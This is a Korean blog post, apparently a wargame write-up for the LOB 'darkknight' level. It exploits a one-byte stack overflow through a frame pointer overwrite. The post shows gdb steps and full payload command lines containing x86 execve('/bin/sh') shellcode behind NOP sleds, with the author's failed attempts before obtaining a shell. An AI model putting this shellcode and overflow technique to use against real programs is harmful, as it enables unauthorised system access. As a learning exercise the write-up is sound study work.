darkknight의 코드이다. 이번엔 problem_child라는 함수를 통해서 strncrpy를 하는데, 41자만 하도록 되어있다. 따라서 이번엔 ret을 덮어쓰는건 불가능 하다.
그럼 무슨방법이 있을까?
주석을 보면 친절하게 -FPO라는 것이 적혀있다.
http://bob3rdnewbie.tistory.com/188 을 참고 해서 FPO 취약점에 대해 알아보았다. 마침 strncpy도 41바이트를 받으므로 조건이 갖춰졌다.
우선 gdb로 메인함수를 보자.
간단하게 problem_child를 호출하는 것을 볼 수 있다.
그럼 problem_child를 보자
strncpy가 보인다. 함수가 종료되기 직전의 스택상황을 보고 싶으니 problem_child+41에 BP를 걸자.
B *problem_child+41
그리고 한번 실행해 보자.
r `python -c 'print "A"*40'`
보면 0xbffffad4부터 들어가 있는 것을 볼 수있다. 그리고 SFP는 0xbffffb00으로 보인다.
버퍼가 있는 주소는 fa인데 SFP가 fb라니.. 그럼 덮어쓸 수가 없는걸까?
라고 생각하다가, 전에 버퍼에 내용을 많이 넣어서 주소를 0xbffe----까지 내렸던 기억이 났다.
그래서 한번 버퍼 뒤로 글자들을 더 넣어보았다.
보다시피, 0xbffffa--로 바뀐것을 확인했다.
그럼 버퍼 안으로 쉘코드를 넣고, SFP를 버퍼 앞으로 바꾸면 되지 않을까?
./darkknight `python -c 'print "\x90"*15 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\xc4" + "\x90"*55'
보다시피 Illegal instruction 이 뜬다. 코어를 뜯어보니,
제대로 패치 되지 않았다.
잘 생각해보니 이번에 내가 넣은 쉘코드는 24byte이므로 0x90을 16개 넣어줘야했는데 바보처럼 15개를 넣어버린 것이었다.
./darkknight `python -c 'print "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x58" + "\x90"*55'`
바꾸고 넣어보니 이번에는 세폴이 뜬다. 또 코어를 까보자
보아하니 레지스터중 ebp와 eip가 보두 0x90909090이 되어있었다. 이유는 모르겠지만 NOP를 너무 많이 넣은건가?
한번뒤에 NOP를 25개정도로 줄여보았다.
그랬더니 쉘을 획득했다.
아직 FPO이해 안됨
'LOB' 카테고리의 다른 글
LOB:Bugbear→Giant (0) | 2018.04.30 |
---|---|
LOB:Darkknight→Bugbear (0) | 2018.04.11 |
LOB:Skeleton→Golem (0) | 2018.04.10 |
LOB:Vampire→Skeleton (0) | 2018.04.09 |
LOB : Troll→Vampire (0) | 2018.04.09 |